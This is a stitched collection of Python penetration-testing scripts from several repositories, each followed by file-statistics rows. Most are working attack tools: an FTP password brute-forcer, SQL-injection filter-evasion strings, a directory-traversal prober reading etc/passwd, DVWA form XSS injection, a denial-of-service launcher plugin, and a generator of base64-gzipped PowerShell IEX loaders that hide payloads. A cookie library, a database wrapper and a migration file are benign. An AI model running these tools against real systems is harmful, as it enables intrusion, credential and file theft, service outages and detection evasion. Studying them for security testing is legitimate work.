owtf | from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Plugin to assist manual testing"
def run(PluginInfo):
Content = plugin_helper.HtmlString("Intended to show helpful info in the future")
return Content
| 23.777778 | 85 | 0.765766 |
PenetrationTestingScripts | #coding=utf-8
import time
import threading
from multiprocessing.dummy import Pool
from printers import printPink,printGreen
from ftplib import FTP
class ftp_burp(object):
def __init__(self,c):
self.config=c
self.lock=threading.Lock()
self.result=[]
self.lines=self.config.file2list("conf/ftp.conf")
def ftp_connect(self,ip,username,password,port):
crack=0
try:
ftp=FTP()
ftp.connect(ip,str(port))
ftp.login(user=username,passwd=password)
crack=1
ftp.close()
except Exception,e:
self.lock.acquire()
print "%s ftp service 's %s:%s login fail " %(ip,username,password)
self.lock.release()
return crack
def ftp_l(self,ip,port):
try:
for data in self.lines:
username=data.split(':')[0]
password=data.split(':')[1]
if self.ftp_connect(ip,username,password,port)==1:
self.lock.acquire()
printGreen("%s ftp at %s has weaken password!!-------%s:%s\r\n" %(ip,port,username,password))
self.result.append("%s ftp at %s has weaken password!!-------%s:%s\r\n" %(ip,port,username,password))
self.lock.release()
break
except Exception,e:
pass
def run(self,ipdict,pinglist,threads,file):
if len(ipdict['ftp']):
printPink("crack ftp now...")
print "[*] start crack ftp %s" % time.ctime()
starttime=time.time()
pool=Pool(threads)
for ip in ipdict['ftp']:
pool.apply_async(func=self.ftp_l,args=(str(ip).split(':')[0],int(str(ip).split(':')[1])))
pool.close()
pool.join()
print "[*] stop ftp serice %s" % time.ctime()
print "[*] crack ftp done,it has Elapsed time:%s " % (time.time()-starttime)
for i in xrange(len(self.result)):
self.config.write_file(contents=self.result[i],file=file)
if __name__ == '__main__':
import sys
sys.path.append("../")
from comm.config import *
c=config()
ipdict={'ftp': ['192.168.1.1:21']}
pinglist=['192.168.1.1']
test=ftp_burp(c)
test.run(ipdict,pinglist,50,file="../result/test")
| 30.402597 | 125 | 0.522962 |
PenetrationTestingScripts | """Mozilla / Netscape cookie loading / saving.
Copyright 2002-2006 John J Lee <jjl@pobox.com>
Copyright 1997-1999 Gisle Aas (original libwww-perl code)
This code is free software; you can redistribute it and/or modify it
under the terms of the BSD or ZPL 2.1 licenses (see the file
COPYING.txt included with the distribution).
"""
import re, time, logging
from _clientcookie import reraise_unmasked_exceptions, FileCookieJar, Cookie, \
MISSING_FILENAME_TEXT, LoadError
debug = logging.getLogger("ClientCookie").debug
class MozillaCookieJar(FileCookieJar):
"""
WARNING: you may want to backup your browser's cookies file if you use
this class to save cookies. I *think* it works, but there have been
bugs in the past!
This class differs from CookieJar only in the format it uses to save and
load cookies to and from a file. This class uses the Mozilla/Netscape
`cookies.txt' format. lynx uses this file format, too.
Don't expect cookies saved while the browser is running to be noticed by
the browser (in fact, Mozilla on unix will overwrite your saved cookies if
you change them on disk while it's running; on Windows, you probably can't
save at all while the browser is running).
Note that the Mozilla/Netscape format will downgrade RFC2965 cookies to
Netscape cookies on saving.
In particular, the cookie version and port number information is lost,
together with information about whether or not Path, Port and Discard were
specified by the Set-Cookie2 (or Set-Cookie) header, and whether or not the
domain as set in the HTTP header started with a dot (yes, I'm aware some
domains in Netscape files start with a dot and some don't -- trust me, you
really don't want to know any more about this).
Note that though Mozilla and Netscape use the same format, they use
slightly different headers. The class saves cookies using the Netscape
header by default (Mozilla can cope with that).
"""
magic_re = "#( Netscape)? HTTP Cookie File"
header = """\
# Netscape HTTP Cookie File
# http://www.netscape.com/newsref/std/cookie_spec.html
# This is a generated file! Do not edit.
"""
def _really_load(self, f, filename, ignore_discard, ignore_expires):
now = time.time()
magic = f.readline()
if not re.search(self.magic_re, magic):
f.close()
raise LoadError(
"%s does not look like a Netscape format cookies file" %
filename)
try:
while 1:
line = f.readline()
if line == "": break
# last field may be absent, so keep any trailing tab
if line.endswith("\n"): line = line[:-1]
# skip comments and blank lines XXX what is $ for?
if (line.strip().startswith("#") or
line.strip().startswith("$") or
line.strip() == ""):
continue
domain, domain_specified, path, secure, expires, name, value = \
line.split("\t", 6)
secure = (secure == "TRUE")
domain_specified = (domain_specified == "TRUE")
if name == "":
name = value
value = None
initial_dot = domain.startswith(".")
if domain_specified != initial_dot:
raise LoadError("domain and domain specified flag don't "
"match in %s: %s" % (filename, line))
discard = False
if expires == "":
expires = None
discard = True
# assume path_specified is false
c = Cookie(0, name, value,
None, False,
domain, domain_specified, initial_dot,
path, False,
secure,
expires,
discard,
None,
None,
{})
if not ignore_discard and c.discard:
continue
if not ignore_expires and c.is_expired(now):
continue
self.set_cookie(c)
except:
reraise_unmasked_exceptions((IOError, LoadError))
raise LoadError("invalid Netscape format file %s: %s" %
(filename, line))
def save(self, filename=None, ignore_discard=False, ignore_expires=False):
if filename is None:
if self.filename is not None: filename = self.filename
else: raise ValueError(MISSING_FILENAME_TEXT)
f = open(filename, "w")
try:
debug("Saving Netscape cookies.txt file")
f.write(self.header)
now = time.time()
for cookie in self:
if not ignore_discard and cookie.discard:
debug(" Not saving %s: marked for discard", cookie.name)
continue
if not ignore_expires and cookie.is_expired(now):
debug(" Not saving %s: expired", cookie.name)
continue
if cookie.secure: secure = "TRUE"
else: secure = "FALSE"
if cookie.domain.startswith("."): initial_dot = "TRUE"
else: initial_dot = "FALSE"
if cookie.expires is not None:
expires = str(cookie.expires)
else:
expires = ""
if cookie.value is None:
# cookies.txt regards 'Set-Cookie: foo' as a cookie
# with no name, whereas cookielib regards it as a
# cookie with no value.
name = ""
value = cookie.name
else:
name = cookie.name
value = cookie.value
f.write(
"\t".join([cookie.domain, initial_dot, cookie.path,
secure, expires, name, value])+
"\n")
finally:
f.close()
| 38.024691 | 80 | 0.538364 |
cybersecurity-penetration-testing | subs = []
values = {" ": "%50", "SELECT": "HAVING", "AND": "&&", "OR": "||"}
originalstring = "' UNION SELECT * FROM Users WHERE username = 'admin' OR 1=1 AND username = 'admin';#"
secondoriginalstring = originalstring
for key, value in values.iteritems():
if key in originalstring:
newstring = originalstring.replace(key, value)
subs.append(newstring)
if key in secondoriginalstring:
secondoriginalstring = secondoriginalstring.replace(key, value)
subs.append(secondoriginalstring)
subset = set(subs)
for line in subs:
print line | 35.266667 | 103 | 0.714549 |
Python-Penetration-Testing-Cookbook | import socket,sys,os
os.system('clear')
host = 'www.dvwa.co.uk'
ip = socket.gethostbyname(host)
open_ports =[]
common_ports = { 21, 22, 23, 25, 53, 69, 80, 88, 109, 110,
123, 137, 138, 139, 143, 156, 161, 389, 443,
445, 500, 546, 547, 587, 660, 995, 993, 2086,
2087, 2082, 2083, 3306, 8443, 10000
}
def probe_port(host, port, result = 1):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(0.5)
r = sock.connect_ex((host, port))
if r == 0:
result = r
sock.close()
except Exception, e:
print e;
pass
return result
for p in sorted(common_ports):
sys.stdout.flush()
print p
response = probe_port(host, p)
if response == 0:
open_ports.append(p)
if open_ports:
print "Open Ports"
print sorted(open_ports)
else:
print "Sorry, No open ports found.!!"
| 20 | 63 | 0.600454 |
Hands-On-Penetration-Testing-with-Python | # -*- coding: utf-8 -*-
from south.utils import datetime_utils as datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Adding model 'Project'
db.create_table(u'xtreme_server_project', (
('project_name', self.gf('django.db.models.fields.CharField')(max_length=50, primary_key=True)),
('start_url', self.gf('django.db.models.fields.URLField')(max_length=200)),
('query_url', self.gf('django.db.models.fields.URLField')(max_length=200)),
('allowed_extensions', self.gf('django.db.models.fields.TextField')()),
('allowed_protocols', self.gf('django.db.models.fields.TextField')()),
('consider_only', self.gf('django.db.models.fields.TextField')()),
('exclude_fields', self.gf('django.db.models.fields.TextField')()),
('status', self.gf('django.db.models.fields.CharField')(default='Not Set', max_length=50)),
('login_url', self.gf('django.db.models.fields.URLField')(max_length=200)),
('logout_url', self.gf('django.db.models.fields.URLField')(max_length=200)),
('username', self.gf('django.db.models.fields.TextField')()),
('password', self.gf('django.db.models.fields.TextField')()),
('username_field', self.gf('django.db.models.fields.TextField')(default='Not Set')),
('password_field', self.gf('django.db.models.fields.TextField')(default='Not Set')),
('auth_parameters', self.gf('django.db.models.fields.TextField')(default='Not Set')),
('auth_mode', self.gf('django.db.models.fields.TextField')()),
))
db.send_create_signal(u'xtreme_server', ['Project'])
# Adding model 'Page'
db.create_table(u'xtreme_server_page', (
(u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('URL', self.gf('django.db.models.fields.URLField')(max_length=200)),
('content', self.gf('django.db.models.fields.TextField')(blank=True)),
('visited', self.gf('django.db.models.fields.BooleanField')(default=False)),
('auth_visited', self.gf('django.db.models.fields.BooleanField')(default=False)),
('status_code', self.gf('django.db.models.fields.CharField')(max_length=256, blank=True)),
('connection_details', self.gf('django.db.models.fields.TextField')(blank=True)),
('project', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['xtreme_server.Project'])),
('page_found_on', self.gf('django.db.models.fields.URLField')(max_length=200, blank=True)),
))
db.send_create_signal(u'xtreme_server', ['Page'])
# Adding model 'Form'
db.create_table(u'xtreme_server_form', (
(u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('project', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['xtreme_server.Project'])),
('form_found_on', self.gf('django.db.models.fields.URLField')(max_length=200)),
('form_name', self.gf('django.db.models.fields.CharField')(max_length=512, blank=True)),
('form_method', self.gf('django.db.models.fields.CharField')(default='GET', max_length=10)),
('form_action', self.gf('django.db.models.fields.URLField')(max_length=200, blank=True)),
('form_content', self.gf('django.db.models.fields.TextField')(blank=True)),
('auth_visited', self.gf('django.db.models.fields.BooleanField')(default=False)),
('input_field_list', self.gf('django.db.models.fields.TextField')(blank=True)),
))
db.send_create_signal(u'xtreme_server', ['Form'])
# Adding model 'InputField'
db.create_table(u'xtreme_server_inputfield', (
(u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('form', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['xtreme_server.Form'])),
('input_type', self.gf('django.db.models.fields.CharField')(default='input', max_length=256, blank=True)),
))
db.send_create_signal(u'xtreme_server', ['InputField'])
# Adding model 'Vulnerability'
db.create_table(u'xtreme_server_vulnerability', (
(u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('form', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['xtreme_server.Form'])),
('details', self.gf('django.db.models.fields.TextField')(blank=True)),
('url', self.gf('django.db.models.fields.TextField')(blank=True)),
('re_attack', self.gf('django.db.models.fields.TextField')(blank=True)),
('project', self.gf('django.db.models.fields.TextField')(blank=True)),
('timestamp', self.gf('django.db.models.fields.TextField')(blank=True)),
('msg_type', self.gf('django.db.models.fields.TextField')(blank=True)),
('msg', self.gf('django.db.models.fields.TextField')(blank=True)),
('auth', self.gf('django.db.models.fields.TextField')(blank=True)),
))
db.send_create_signal(u'xtreme_server', ['Vulnerability'])
# Adding model 'Settings'
db.create_table(u'xtreme_server_settings', (
(u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('allowed_extensions', self.gf('django.db.models.fields.TextField')()),
('allowed_protocols', self.gf('django.db.models.fields.TextField')()),
('consider_only', self.gf('django.db.models.fields.TextField')()),
('exclude_fields', self.gf('django.db.models.fields.TextField')()),
('username', self.gf('django.db.models.fields.TextField')()),
('password', self.gf('django.db.models.fields.TextField')()),
('auth_mode', self.gf('django.db.models.fields.TextField')()),
))
db.send_create_signal(u'xtreme_server', ['Settings'])
# Adding model 'LearntModel'
db.create_table(u'xtreme_server_learntmodel', (
(u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('project', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['xtreme_server.Project'])),
('page', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['xtreme_server.Page'])),
('form', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['xtreme_server.Form'])),
('query_id', self.gf('django.db.models.fields.TextField')()),
('learnt_model', self.gf('django.db.models.fields.TextField')(blank=True)),
))
db.send_create_signal(u'xtreme_server', ['LearntModel'])
def backwards(self, orm):
# Deleting model 'Project'
db.delete_table(u'xtreme_server_project')
# Deleting model 'Page'
db.delete_table(u'xtreme_server_page')
# Deleting model 'Form'
db.delete_table(u'xtreme_server_form')
# Deleting model 'InputField'
db.delete_table(u'xtreme_server_inputfield')
# Deleting model 'Vulnerability'
db.delete_table(u'xtreme_server_vulnerability')
# Deleting model 'Settings'
db.delete_table(u'xtreme_server_settings')
# Deleting model 'LearntModel'
db.delete_table(u'xtreme_server_learntmodel')
models = {
u'xtreme_server.form': {
'Meta': {'object_name': 'Form'},
'auth_visited': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'form_action': ('django.db.models.fields.URLField', [], {'max_length': '200', 'blank': 'True'}),
'form_content': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'form_found_on': ('django.db.models.fields.URLField', [], {'max_length': '200'}),
'form_method': ('django.db.models.fields.CharField', [], {'default': "'GET'", 'max_length': '10'}),
'form_name': ('django.db.models.fields.CharField', [], {'max_length': '512', 'blank': 'True'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'input_field_list': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'project': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['xtreme_server.Project']"})
},
u'xtreme_server.inputfield': {
'Meta': {'object_name': 'InputField'},
'form': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['xtreme_server.Form']"}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'input_type': ('django.db.models.fields.CharField', [], {'default': "'input'", 'max_length': '256', 'blank': 'True'})
},
u'xtreme_server.learntmodel': {
'Meta': {'object_name': 'LearntModel'},
'form': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['xtreme_server.Form']"}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'learnt_model': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'page': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['xtreme_server.Page']"}),
'project': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['xtreme_server.Project']"}),
'query_id': ('django.db.models.fields.TextField', [], {})
},
u'xtreme_server.page': {
'Meta': {'object_name': 'Page'},
'URL': ('django.db.models.fields.URLField', [], {'max_length': '200'}),
'auth_visited': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'connection_details': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'content': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'page_found_on': ('django.db.models.fields.URLField', [], {'max_length': '200', 'blank': 'True'}),
'project': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['xtreme_server.Project']"}),
'status_code': ('django.db.models.fields.CharField', [], {'max_length': '256', 'blank': 'True'}),
'visited': ('django.db.models.fields.BooleanField', [], {'default': 'False'})
},
u'xtreme_server.project': {
'Meta': {'object_name': 'Project'},
'allowed_extensions': ('django.db.models.fields.TextField', [], {}),
'allowed_protocols': ('django.db.models.fields.TextField', [], {}),
'auth_mode': ('django.db.models.fields.TextField', [], {}),
'auth_parameters': ('django.db.models.fields.TextField', [], {'default': "'Not Set'"}),
'consider_only': ('django.db.models.fields.TextField', [], {}),
'exclude_fields': ('django.db.models.fields.TextField', [], {}),
'login_url': ('django.db.models.fields.URLField', [], {'max_length': '200'}),
'logout_url': ('django.db.models.fields.URLField', [], {'max_length': '200'}),
'password': ('django.db.models.fields.TextField', [], {}),
'password_field': ('django.db.models.fields.TextField', [], {'default': "'Not Set'"}),
'project_name': ('django.db.models.fields.CharField', [], {'max_length': '50', 'primary_key': 'True'}),
'query_url': ('django.db.models.fields.URLField', [], {'max_length': '200'}),
'start_url': ('django.db.models.fields.URLField', [], {'max_length': '200'}),
'status': ('django.db.models.fields.CharField', [], {'default': "'Not Set'", 'max_length': '50'}),
'username': ('django.db.models.fields.TextField', [], {}),
'username_field': ('django.db.models.fields.TextField', [], {'default': "'Not Set'"})
},
u'xtreme_server.settings': {
'Meta': {'object_name': 'Settings'},
'allowed_extensions': ('django.db.models.fields.TextField', [], {}),
'allowed_protocols': ('django.db.models.fields.TextField', [], {}),
'auth_mode': ('django.db.models.fields.TextField', [], {}),
'consider_only': ('django.db.models.fields.TextField', [], {}),
'exclude_fields': ('django.db.models.fields.TextField', [], {}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'password': ('django.db.models.fields.TextField', [], {}),
'username': ('django.db.models.fields.TextField', [], {})
},
u'xtreme_server.vulnerability': {
'Meta': {'object_name': 'Vulnerability'},
'auth': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'details': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'form': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['xtreme_server.Form']"}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'msg': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'msg_type': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'project': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
're_attack': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'timestamp': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'url': ('django.db.models.fields.TextField', [], {'blank': 'True'})
}
}
complete_apps = ['xtreme_server'] | 64.037037 | 130 | 0.570798 |
cybersecurity-penetration-testing | #!/usr/bin/python3
import pymysql
import pymysql.cursors
import pymysql.converters
from Logger import *
import datetime
DATABASE_LOGGING = False
class Logger:
@staticmethod
def _out(x):
if DATABASE_LOGGING:
sys.stderr.write(str(x) + u'\n')
@staticmethod
def dbg(x):
if DATABASE_LOGGING:
sys.stderr.write(u'[dbg] ' + str(x) + u'\n')
@staticmethod
def out(x):
Logger._out(u'[.] ' + str(x))
@staticmethod
def info(x):
Logger._out(u'[?] ' + str(x))
@staticmethod
def err(x):
if DATABASE_LOGGING:
sys.stderr.write(u'[!] ' + str(x) + u'\n')
@staticmethod
def warn(x):
Logger._out(u'[-] ' + str(x))
@staticmethod
def ok(x):
Logger._out(u'[+] ' + str(x))
class Database:
databaseConnection = None
databaseCursor = None
lastUsedCredentials = {
'host': '',
'user': '',
'password': '',
'db': ''
}
def __init__(self, initialId = 1000):
self.queryId = initialId
pass
def __del__(self):
self.close()
def close(self):
Logger.dbg("Closing database connection.")
if self.databaseConnection: self.databaseConnection.close()
self.databaseConnection = None
def connection(self, host, user, password, db = None):
try:
conv = pymysql.converters.conversions.copy()
conv[246] = float
conv[0] = float
if password:
self.databaseConnection = pymysql.connect(
host=host,
user=user,
passwd=password,
db=db,
cursorclass=pymysql.cursors.DictCursor,
conv = conv
)
else:
self.databaseConnection = pymysql.connect(
host=host,
user=user,
db=db,
cursorclass=pymysql.cursors.DictCursor,
conv=conv
)
#self.databaseConnection.set_character_set('utf8')
Logger.info("Database connection succeeded.")
self.lastUsedCredentials.update({
'host': host,
'user': user,
'password': password,
'db': db
})
return True
except (pymysql.Error, pymysql.Error) as e:
Logger.err("Database connection failed: " + str(e))
return False
def createCursor(self):
if self.databaseCursor:
self.databaseCursor.close()
self.databaseCursor = None
if not self.databaseConnection:
self.reconnect()
self.databaseCursor = self.databaseConnection.cursor()
# self.databaseCursor.execute('SET CHARACTER SET utf8;')
# self.databaseCursor.execute('SET NAMES utf8;')
# self.databaseCursor.execute('SET character_set_connection=utf8;')
# self.databaseCursor.execute('SET GLOBAL connect_timeout=28800;')
# self.databaseCursor.execute('SET GLOBAL wait_timeout=28800;')
# self.databaseCursor.execute('SET GLOBAL interactive_timeout=28800;')
# self.databaseCursor.execute('SET GLOBAL max_allowed_packet=1073741824;')
return self.databaseCursor
def query(self, query, tryAgain = False, params = None):
self.queryId += 1
if len(query)< 100:
Logger.dbg(u'SQL query (id: {}): "{}"'.format(self.queryId, query))
else:
Logger.dbg(u'SQL query (id: {}): "{}...{}"'.format(self.queryId, query[:80], query[-80:]))
try:
self.databaseCursor = self.createCursor()
if params:
self.databaseCursor.execute(query, args = params)
else:
self.databaseCursor.execute(query)
result = self.databaseCursor.fetchall()
num = 0
for row in result:
num += 1
if num > 5: break
if len(str(row)) < 100:
Logger.dbg(u'Query (ID: {}) ("{}") results:\nRow {}.: '.format(self.queryId, str(query), num) + str(row))
else:
Logger.dbg(u'Query (ID: {}) is too long'.format(self.queryId))
return result
except (pymysql.err.InterfaceError) as e:
pass
except (pymysql.Error) as e:
if Database.checkIfReconnectionNeeded(e):
if tryAgain == False:
Logger.err("Query (ID: {}) ('{}') failed. Need to reconnect.".format(self.queryId, query))
self.reconnect()
return self.query(query, True)
Logger.err("Query (ID: {}) ('{}') failed: ".format(self.queryId, query) + str(e))
return False
@staticmethod
def checkIfReconnectionNeeded(error):
try:
return (("MySQL server has gone away" in error[1]) or ('Lost connection to MySQL server' in error[1]))
except (IndexError, TypeError):
return False
def reconnect(self):
Logger.info("Trying to reconnect after failure (last query: {})...".format(self.queryId))
if self.databaseConnection != None:
try:
self.databaseConnection.close()
except:
pass
finally:
self.databaseConnection = None
self.connection(
self.lastUsedCredentials['host'],
self.lastUsedCredentials['user'],
self.lastUsedCredentials['password'],
self.lastUsedCredentials['db']
)
def insert(self, query, tryAgain = False):
'''
Executes SQL query that is an INSERT statement.
params:
query SQL INSERT query
returns:
(boolean Status, int AffectedRows, string Message)
Where:
Status - false on Error, true otherwise
AffectedRows - number of affected rows or error code on failure
Message - error message on failure, None otherwise
'''
self.queryId += 1
if len(query)< 100:
Logger.dbg(u'SQL INSERT query (id: {}): "{}"'.format(self.queryId, query))
else:
Logger.dbg(u'SQL INSERT query (id: {}): "{}...{}"'.format(self.queryId, query[:80], query[-80:]))
assert not query.lower().startswith('select '), "Method insert() must NOT be invoked with SELECT queries!"
try:
self.databaseCursor = self.createCursor()
self.databaseCursor.execute(query)
# Commit new records to the database
self.databaseConnection.commit()
return True, 1, None
except (pymysql.Error, pymysql.Error) as e:
try:
# Rollback introduced changes
self.databaseConnection.rollback()
except: pass
if Database.checkIfReconnectionNeeded(e):
if tryAgain == False:
Logger.err("Insert query (ID: {}) ('{}') failed. Need to reconnect.".format(self.queryId, query))
self.reconnect()
return self.insert(query, True)
Logger.err("Insert Query (ID: {}) ('{}') failed: ".format(self.queryId, query) + str(e))
return False, e.args[0], e.args[1]
def delete(self, query):
assert query.lower().startswith('delete '), "Method delete() must be invoked only with DELETE queries!"
return self.insert(query)
| 31.154812 | 125 | 0.534487 |
cybersecurity-penetration-testing | import urllib
url1 = raw_input("Enter the URL ")
http_r = urllib.urlopen(url1)
if http_r.code == 200:
print http_r.headers | 23.8 | 34 | 0.715447 |
owtf | from owtf.config import config_handler
from owtf.plugin.helper import plugin_helper
from owtf.plugin.params import plugin_params
DESCRIPTION = "Denial of Service (DoS) Launcher -i.e. for IDS/DoS testing-"
CATEGORIES = [
"HTTP_WIN",
"HTTP",
"DHCP",
"NTFS",
"HP",
"MDNS",
"PPTP",
"SAMBA",
"SCADA",
"SMTP",
"SOLARIS",
"SSL",
"SYSLOG",
"TCP",
"WIFI",
"WIN_APPIAN",
"WIN_BROWSER",
"WIN_FTP",
"KAILLERA",
"WIN_LLMNR",
"WIN_NAT",
"WIN_SMB",
"WIN_SMTP",
"WIN_TFTP",
"WIRESHARK",
]
def run(PluginInfo):
Content = []
args = {
"Description": DESCRIPTION,
"Mandatory": {
"RHOST": config_handler.get_val("RHOST_DESCRIP"),
"RPORT": config_handler.get_val("RPORT_DESCRIP"),
},
"Optional": {
"CATEGORY": "Category to use (i.e. " + ", ".join(sorted(CATEGORIES)) + ")",
"REPEAT_DELIM": config_handler.get_val("REPEAT_DELIM_DESCRIP"),
},
}
for args in plugin_params.get_args(args, PluginInfo):
plugin_params.set_config(args)
resource = config_handler.get_resources("DoS_" + args["CATEGORY"])
Content += plugin_helper.CommandDump(
"Test Command", "Output", resource, PluginInfo, ""
) # No previous output
return Content
| 23.672727 | 87 | 0.556047 |
Hands-On-Penetration-Testing-with-Python | #unset QT_QPA_PLATFORM
#sudo echo "export QT_QPA_PLATFORM=offscreen" >> /etc/environment
from bs4 import BeautifulSoup
import requests
import multiprocessing as mp
from selenium import webdriver
import time
import datetime
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.common.exceptions import TimeoutException
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import Select
class Xss_automate():
def __init__(self,target,base):
self.target=target
self.base=base
self.email="admin"
self.password="password"
self.target_links=["vulnerabilities/xss_r/","vulnerabilities/xss_s/"]
def start(self):
try:
browser = webdriver.PhantomJS()
browser.get(self.target)
element_username=browser.find_element_by_name("username");
element_username.clear()
element_username.send_keys(self.email)
element_username.click()
element_password=browser.find_element_by_name("password");
element_password.clear()
element_password.send_keys(self.password)
element_password.click()
try:
element_submit = WebDriverWait(browser, 2).until(
EC.element_to_be_clickable((By.NAME, "Login"))
)
time. sleep(2)
element_submit.click()
except Exception as ee:
print("Exception : "+str(ee))
browser.quit()
html = browser.page_source
cookie={'domain':'192.168.250.1','name': 'security','value':'low',
'path': '/dvwa/','httponly': False, 'secure': False}
browser.add_cookie(cookie)
all_cookies = browser.get_cookies()
soup = BeautifulSoup(html, "html.parser")
anchor_tags=soup.find_all("a")
browser.save_screenshot('screen.png')
print("\n Saved Screen shot Post Login.Note the cookie values : ")
for i,link in enumerate(anchor_tags):
try:
if i != 0:
actuall_link=link.attrs["href"]
actuall_link=actuall_link.replace("/.","/")
if actuall_link in self.target_links:
nav_url=str(self.target)+str(actuall_link)
browser.get(nav_url)
browser.save_screenshot("screen"+str(i)+".png")
page_source=browser.page_source
soup = BeautifulSoup(page_source, "html.parser")
forms=soup.find_all("form")
submit_button=""
value_sel=False
payload="<a href='#'> Malacius Link XSS </a>"
for no,form in enumerate(forms) :
inputs=form.find_all("input")
for ip in inputs:
if ip.attrs["type"] in ["text","password"]:
element_payload=browser.find_element_by_name(ip.attrs["name"]);
element_payload.clear()
element_payload.send_keys(payload)
element_payload.click()
elif ip.attrs["type"] in ["submit","button"]:
submit_button=ip.attrs.get("name","")
if submit_button == "":
submit_button=ip.attrs.get("value","")
value_sel=True
text_area=form.find_all("textarea")
for ip in text_area:
if 1:
element_payload=browser.find_element_by_name(ip.attrs["name"]);
element_payload.clear()
element_payload.send_keys(payload)
element_payload.click()
try:
if value_sel==False:
element_submit = WebDriverWait(browser, 2).until(
EC.element_to_be_clickable((By.NAME, submit_button)))
else:
element_submit = browser.find_element_by_css_selector('[value="'+submit_button+'"]')
element_submit.click()
sc="payload_"+str(i)+"_"+str(no)+".png"
browser.save_screenshot(sc)
print("\n Saved Payload Screen shot : "+str(sc))
browser.get(nav_url)
except Exception as ee:
print("Exception @@: "+str(ee))
browser.quit()
except Exception as ex:
print("## Exception caught : " +str(ex))
print("\n\nSucessfully executed and created POC")
except Exception as ex:
print(str(ex))
obj=Xss_automate("http://192.168.250.1/dvwa/","http://192.168.250.1/")
obj.start()
| 33.408333 | 94 | 0.639293 |
Python-Penetration-Testing-for-Developers | import requests
import sys
url = "http://127.0.0.1/traversal/third.php?id="
payloads = {'etc/passwd': 'root'}
up = "../"
i = 0
for payload, string in payloads.iteritems():
while i < 7:
req = requests.post(url+(i*up)+payload)
if string in req.text:
print "Parameter vulnerable\r\n"
print "Attack string: "+(i*up)+payload+"\r\n"
print req.text
break
i = i+1
i = 0
| 21.529412 | 48 | 0.638743 |
cybersecurity-penetration-testing | #!/usr/bin/python3
import io
import sys
import gzip
import base64
def main(argv):
if len(argv) < 2:
print('Usage: ./compressedPowershell.py <input>')
sys.exit(-1)
out = io.BytesIO()
encoded = ''
with open(argv[1], 'rb') as f:
inp = f.read()
with gzip.GzipFile(fileobj = out, mode = 'w') as fo:
fo.write(inp)
encoded = base64.b64encode(out.getvalue())
powershell = '''$s = New-Object IO.MemoryStream(, [Convert]::FromBase64String("{}"));
IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s, [IO.Compression.CompressionMode]::Decompress))).ReadToEnd();'''.format(encoded.decode())
print(powershell)
if __name__ == '__main__':
main(sys.argv)
| 23.16129 | 161 | 0.613636 |
cybersecurity-penetration-testing |
'''
Copyright (c) 2016 Chet Hosmer
Permission is hereby granted, free of charge, to any person obtaining a copy of this software
and associated documentation files (the "Software"), to deal in the Software without restriction,
including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense,
and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so,
subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial
portions of the Software.
Script Purpose: Python Template for MPE+ Integration
Script Version: 1.0
Script Author: C.Hosmer
Script Revision History:
Version 1.0 April 2016
'''
# Script Module Importing
# Python Standard Library Modules
import os # Operating/Filesystem Module
import time # Basic Time Module
import logging # Script Logging
from sys import argv # The systems argument vector, in Python this is
# a list of elements from the command line
# Import 3rd Party Modules
# End of Script Module Importing
# Script Constants
'''
Python does not support constants directly
however, by initializing variables here and
specifying them as UPPER_CASE you can make your
intent known
'''
# General Constants
SCRIPT_NAME = "Script: MPE+ Template"
SCRIPT_VERSION = "Version 1.0"
SCRIPT_AUTHOR = "Author: C. Hosmer, Python Forensics"
SCRIPT_LOG = "./Log.txt"
# LOG Constants used as input to LogEvent Function
LOG_DEBUG = 0 # Debugging Event
LOG_INFO = 1 # Information Event
LOG_WARN = 2 # Warning Event
LOG_ERR = 3 # Error Event
LOG_CRIT = 4 # Critical Event
LOG_OVERWRITE = True # Set this contstant to True if the SCRIPT_LOG
# should be overwritten, False if not
# End of Script Constants
